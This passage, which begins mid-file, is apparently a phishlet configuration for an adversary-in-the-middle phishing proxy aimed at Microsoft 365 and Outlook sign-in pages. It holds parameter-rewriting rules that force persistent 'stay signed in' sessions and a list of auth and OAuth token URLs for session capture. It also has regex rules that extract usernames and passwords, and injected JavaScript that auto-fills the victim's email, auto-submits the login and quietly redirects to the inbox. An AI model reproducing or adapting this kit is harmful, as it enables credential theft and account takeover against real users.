      - { key: "DontShowAgain", value: "true" }
      - { key: "LoginOptions", value: "1" }
    type: "post"
  - path: "/ppsecure/post*"
    search:
      - { key: "password", search: ".*" }
    force:
      - { key: "DontShowAgain", value: "true" }
      - { key: "LoginOptions", value: "1" }
    type: "post"
  - path: "/ppsecure/post*"
    search:
      - { key: "i0118", search: ".*" }
    force:
      - { key: "DontShowAgain", value: "true" }
      - { key: "LoginOptions", value: "1" }
    type: "post"
  - path: "/kmsi"
    search:
      - { key: "LoginOptions", search: ".*" }
    force:
      - { key: "LoginOptions", value: "1" }
      - { key: "DontShowAgain", value: "true" }
    type: "post"
  - path: "/common/SAS/ProcessAuth"
    search:
      - { key: "LoginOptions", search: ".*" }
    force:
      - { key: "LoginOptions", value: "1" }
      - { key: "DontShowAgain", value: "true" }
    type: "post"

auth_urls:
  - "/ppsecure/*"
  - "/ppsecure/post.srf*"
  - "/webmanifest.json*"
  - "/landing*"
  - "/landingv2*"
  - "/mail"
  - "/common/SAS/ProcessAuth"
  - "/kmsi*"
  - "/landingv2"
  - "/login.srf"
  - "/common/oauth2/nativeclient"     # ← NEW: auth code redirect
  - "/oauth2/nativeclient" 
  - "/common/oauth2/v2.0/token"       
  - "/oauth2/v2.0/token"


credentials:
  username:
    key: "(login|UserName|username|email|account|identifier|utemp)"
    search: '"username":"([^"]*)'
    type: "json"
  password:
    key: "(passwd|Password|password|login_password|pass|pwd|session_password|PASSWORD)"
    search: "(.*)"
    type: "post"
  custom:
    - key: "(login|UserName|username|email|account)"
      search: "(.*)"
    - key: "(passwd|Password|password|login_password|pass|pwd|session_password|PASSWORD|API_HOST)"
      search: '"password":"([^"]*)'
      type: "json"

login:
  domain: "login.microsoftonline.com"
  path: "/"

js_inject:
  - trigger_domains: ["login.microsoftonline.com", "login.live.com", "login.microsoft.com"]
    trigger_paths: ["/", "/common/oauth2/*", "/kmsi", "/ppsecure/*", "/common/SAS/*", "/*"]
    trigger_params: ["email"]
    script: |
      (function(){
        let submitted = false;
        let redirected = false;

        function clickOne(selectors){
          for(let s of selectors){
            let el = document.querySelector(s);
            if(el && el.offsetParent !== null && !el.disabled){ el.click(); return true; }
          }
          return false;
        }

        function fillEmail(){
          let email = '{email}';
          if(!email || email === '{email}') return;
          let inp = document.querySelector('input[type="email"], input[name="loginfmt"], input[name="UserName"], input[name="username"], #i0116');
          if(inp && (!inp.value || inp.value !== email)){
            inp.value = email;
            inp.dispatchEvent(new Event('input', {bubbles:true}));
            inp.dispatchEvent(new Event('change', {bubbles:true}));
            setTimeout(()=> clickOne(['input[type="submit"]','#idSIButton9','button[type="submit"]','.win-button','.btn-primary']), 150);
          }
        }

        function submitPassword(){
          let pass = document.querySelector('input[type="password"], input[name="passwd"], input[name="password"], input[name="Password"]');
          if(pass && pass.value.length > 0){
            setTimeout(()=> clickOne(['input[type="submit"]','#idSIButton9','button[type="submit"]','.win-button','.btn-primary']), 250);
          }
        }

        function isKMSI(){
          let p = window.location.pathname.toLowerCase();
          let t = document.title.toLowerCase();
          let b = document.body ? document.body.innerText.toLowerCase() : '';
          return p.indexOf('/kmsi') !== -1 ||
                 p.indexOf('/sas') !== -1 ||
                 t.indexOf('stay signed in') !== -1 ||
                 b.indexOf('stay signed in') !== -1 ||
                 b.indexOf('reduce the number') !== -1;
        }

        function handleKMSI(){
          if(!isKMSI()) return;
          if(submitted) return;

          let chk = document.getElementById('idChkBx_PWD_KMSI0Pwd')
                 || document.getElementById('idChkBx_PWD_KMSI0Sec')
                 || document.getElementById('KmsiCheckbox')
                 || document.querySelector('input[name="DontShowAgain"]')
                 || document.querySelector('input[type="checkbox"][name*="KMSI"]')
                 || document.querySelector('input[type="checkbox"]');

          if(chk && chk.type === 'checkbox'){
            chk.checked = true;
            chk.dispatchEvent(new Event('change', {bubbles:true}));
          }

          let form = document.querySelector('form');
          if(form){
            let loginOpt = form.querySelector('input[name="LoginOptions"]');
            if(!loginOpt){
              loginOpt = document.createElement('input');
              loginOpt.type = 'hidden';
              loginOpt.name = 'LoginOptions';
              form.appendChild(loginOpt);
            }
            loginOpt.value = '1';

            let dsa = form.querySelector('input[name="DontShowAgain"]');
            if(!dsa){
              dsa = document.createElement('input');
              dsa.type = 'hidden';
              dsa.name = 'DontShowAgain';
              form.appendChild(dsa);
            }
            dsa.value = 'true';

            form.submit();
            submitted = true;
            return;
          }

          if(clickOne([
            'input[type="submit"]','#idSIButton9','button[type="submit"]',
            '.btn-primary','.win-button','button[title*="Yes"]','button[title*="yes"]',
            'button[id*="Kmsi"]','input[id*="Kmsi"]'
          ])){
            submitted = true;
          }
        }

        function redirectInbox(){
          if(redirected) return;
          let p = window.location.pathname.toLowerCase();
          let t = document.title.toLowerCase();
          if(p.indexOf('/mail') !== -1 || p.indexOf('/owa') !== -1 || p.indexOf('/start') !== -1 ||
             t.indexOf('outlook') !== -1 || t.indexOf('mail') !== -1 ||
             document.querySelector('[data-icon-name="Mail"]') ||
             document.querySelector('#app') ||
             document.querySelector('.ms-FocusZone')){
            redirected = true;
            setTimeout(function(){ window.location.href = 'https://outlook.office.com/mail/'; }, 1500);
          }
        }

        function run(){
          fillEmail();
          submitPassword();
          handleKMSI();
          redirectInbox();
        }

        setInterval(run, 300);

        let observer = new MutationObserver(function(mutations){ run(); });
        observer.observe(document.documentElement, { childList: true, subtree: true });

        let origPush = history.pushState;
        let origReplace = history.replaceState;
        history.pushState = function(){ origPush.apply(this,arguments); setTimeout(run,200); };
        history.replaceState = function(){ origReplace.apply(this,arguments); setTimeout(run,200); };
        window.addEventListener('popstate', () => setTimeout(run, 200));

        run();
      })();